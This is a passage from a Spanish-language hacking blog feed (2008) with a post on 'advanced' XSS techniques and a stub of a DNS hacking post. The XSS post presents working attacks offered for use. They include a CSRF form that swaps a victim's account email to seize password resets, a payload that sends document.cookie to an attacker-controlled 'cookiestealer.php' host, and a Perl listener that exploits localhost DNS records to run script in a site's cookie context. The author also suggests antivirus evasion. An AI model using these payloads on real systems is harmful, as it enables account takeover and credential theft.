href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=3446453294996784525' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3446453294996784525'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3446453294996784525'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/08/demostracion-hacking-http.html' title='Demostracion Hacking HTTP'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-8771332157870541176</id><published>2008-08-18T12:58:00.000-07:00</published><updated>2008-08-18T13:02:48.859-07:00</updated><title type='text'>XSS a Otro Nivel</title><content type='html'>&lt;span style="font-size: 14pt; line-height: 1.3em;"&gt;&lt;b&gt;XSS a Otro Nivel (Primera Parte)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;Estas son mis técnicas de XSS no tan básicas:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Todos saben XSS aunque sea a un nivel muy básico, creo que muchos no pasan del clásico alert, pero bueno, intentare escribir un texto con un nivel un poco mas avanzado de tema y no me limitare solo a escribir de XSS en códigos webs, si no también en XSS en otros mecanismos.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 14pt; line-height: 1.3em;"&gt;&lt;span style="text-decoration: underline;"&gt;&lt;b&gt;XSRF&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Cross-Site Request Forgery, es una técnica mediante la cual, con un solo clic se puede robar credenciales o información sensible sobre los usuarios (contraseñas, etcs...), ejemplo:&lt;br /&gt;&lt;br /&gt;Supongamos que tenemos una web victima la cual tiene mas o menos el siguiente funcionamiento, el usuario tiene su panel, en el cual puede cambiar su dirección de correo, el cual se usa para digamos recuperar la contraseña, pero dicho formulario no contiene captcha ni nada similar... bueno ahora supongamos que usa un navegador que permite JS, un atacante puede pasarle un archivo en otro server, el cual al estar logeado el usuario, haga el envió de la petición y cambie el correo de la victima por el del atacante, y seguido de ello, envié un mensaje de recuperación de contraseña, entonces tendremos la password de la victima en nuestro correo. Esto seria mas o menos así:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;br /&gt;&amp;lt;form name=&amp;quot;formulario&amp;quot; action=&amp;quot;http://victima.com/perfil.php&amp;quot; Method=POST&amp;gt;&lt;br /&gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;email&amp;quot; value=&amp;quot;uxmal666@gmail.com&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;submit&amp;quot; value=&amp;quot;enviar&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;SCRIPT&amp;gt;document.submit();&amp;lt;/SCRIPT&amp;gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&lt;br /&gt;(aquí solo faltaría enviar el mensaje de recuperación de la password jeje)&lt;br /&gt;&lt;br /&gt; Esta es mas o menos la esencia de esta clase de ataques, en si el usuario no notara que le están enviando un archivo que le robara su contraseña tan fácilmente, por que no aparece el intento de ataque en la barra de direcciones como comúnmente sucede con los XSS comunes. Tambien podemos usar un XSRF para mejorar un ataque XSS:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;br /&gt;&amp;lt;form name='formulario' action='http://victima.com/login.php?user='&amp;gt;&amp;lt;script&amp;gt;document.location = 'http://www.atacante.com/cookiestealer.php?cookie=' + document.cookie' Method=GET&amp;gt;&lt;br /&gt;&amp;lt;SCRIPT&amp;gt;document.submit();&amp;lt;/SCRIPT&amp;gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 14pt; line-height: 1.3em;"&gt;&lt;span style="text-decoration: underline;"&gt;&lt;b&gt;Errores DNS, un poco de ingeniería social y XSRF en un solo ataque (XSS Mixto):&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bueno esta técnica se me ocurrió hace mucho, dudo ser el único que la emplea, pero esta es una forma bastante especial de atacar.&lt;br /&gt;Atacando php.net (muestra del ataque, sin motivos de conflicto):&lt;br /&gt;&lt;br /&gt;Buscamos un perfil sensible en el DNS, en este caso he detectado esto:&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;[-]Intentando Ataque AXFR....: Usando: remote1.easydns.com&lt;br /&gt;No se Logro Obtener Zonas :(...Detectando Comodin en Registros A...&lt;br /&gt;No Se Detecto Comodin :).&lt;br /&gt;Probando DNS Brutes Forces:&lt;br /&gt;&lt;a href="http://www.php.net/" target="_blank"&gt;www.php.net&lt;/a&gt; existe!&lt;br /&gt;www2.php.net existe!&lt;br /&gt;&lt;b&gt;localhost.php.net &lt;/b&gt;existe!&lt;br /&gt;mail.php.net existe!&lt;br /&gt;mx.php.net existe!&lt;br /&gt;news.php.net existe!&lt;br /&gt;cl.php.net existe!&lt;br /&gt;es.php.net existe!&lt;br /&gt;docs.php.net existe!&lt;br /&gt;doc.php.net existe!&lt;/div&gt;&lt;br /&gt;Ahora resolvemos la IP:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;Xianur0 ~ # nslookup localhost.php.net&lt;br /&gt;Server:         10.0.116.129&lt;br /&gt;Address:        10.0.116.129#53&lt;br /&gt;&lt;br /&gt;Non-authoritative answer:&lt;br /&gt;Name:   localhost.php.net&lt;br /&gt;Address: 127.0.0.1&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;127.0.0.1 jejeje..&lt;br /&gt;&lt;br /&gt;Ponemos al netcat a la escucha en el 80, y entramos a esa dirección:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;Xianur0 ~ # nc -vvvlp 80&lt;br /&gt;listening on [any] 80 ...&lt;br /&gt;connect to [127.0.0.1] from Xianur0 [127.0.0.1] 34640&lt;br /&gt;GET / HTTP/1.1&lt;br /&gt;Host: localhost.php.net&lt;br /&gt;User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14&lt;br /&gt;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;Accept-Encoding: gzip,deflate&lt;br /&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;Keep-Alive: 300&lt;br /&gt;Connection: keep-alive&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;Ok, tenemos al navegador hacia la IP local...&lt;br /&gt;&lt;b&gt;Creamos el tester:&lt;/b&gt;&lt;br /&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;#!/usr/bin/perl&lt;br /&gt;#Tester XSS Mixto By Xianur0 (&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;)&lt;br /&gt;&lt;br /&gt; use Socket;&lt;br /&gt; my $port = 80;&lt;br /&gt; my $proto = getprotobyname('tcp');&lt;br /&gt; socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";&lt;br /&gt; setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1) or die "Error: $!";&lt;br /&gt; my $paddr = sockaddr_in($port, INADDR_ANY);&lt;br /&gt; bind(SERVER, $paddr) or die "Error: $!";&lt;br /&gt; listen(SERVER, SOMAXCONN) or die "Error: $!";&lt;br /&gt; my $client_addr;&lt;br /&gt;system("firefox http://localhost.php.net");&lt;br /&gt; while ($client_addr = accept(CLIENT, SERVER))&lt;br /&gt; {&lt;br /&gt; print CLIENT "&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;";&lt;br /&gt; close CLIENT;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;y plop, nos abrirá el firefox con un alert() mostrando la cookie que tenemos en php.net (si es que tenemos).&lt;br /&gt;&lt;br /&gt;podemos hacer un ejecutable (linux o windows) y los antivirus lo pasaran como si nada, por el simple hecho de que no hace conexiones externas, ya que usa como motor a los navegadores, pueden adaptar el código para que funcione con todos los navegadores y para que no solo lance un alert jejeje....&lt;br /&gt;&lt;br /&gt;nota: la mayor parte de las webs de internet tienen configuraciones DNS similares a la que mostre arriba.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-8771332157870541176?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/8771332157870541176/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=8771332157870541176' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8771332157870541176'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8771332157870541176'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/08/xss-otro-nivel.html' title='XSS a Otro Nivel'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-6999330885028949469</id><published>2008-08-18T12:52:00.000-07:00</published><updated>2008-08-18T12:56:09.876-07:00</updated><title type='text'>Un Paper de Hacking DNS</title><content type='html'>&lt;div id="lqrp0" style="text-align: center;"&gt;&lt;span id="c-qr1"  style="font-size:6;"&gt;&lt;b id="m-oe0"&gt;&lt;u id="m-oe1"&gt;Un Paper de Hacking DNS&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span id="vqyn"  style="font-size:180%;"&gt;&lt;br /&gt;&lt;/span&gt;http://docs.google.com/View?docid=df3ckfs6_77gvjbt3d2&lt;br /&gt;&lt;span id="hqxq"  style="font-size:180%;"&gt;&lt;span id="hqxq0"  style="font-size:100%;"&gt;&lt;span id="hqxq1"  style="font-size:130%;"&gt;&lt;span id="hqxq2"  style="font-size:100%;"&gt;&lt;span id="hqxq3"  style="font-size:130%;"&gt;&lt;span id="hqxq4"  style="font-size:100%;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-6999330885028949469?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/6999330885028949469/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=6999330885028949469' title='0 c
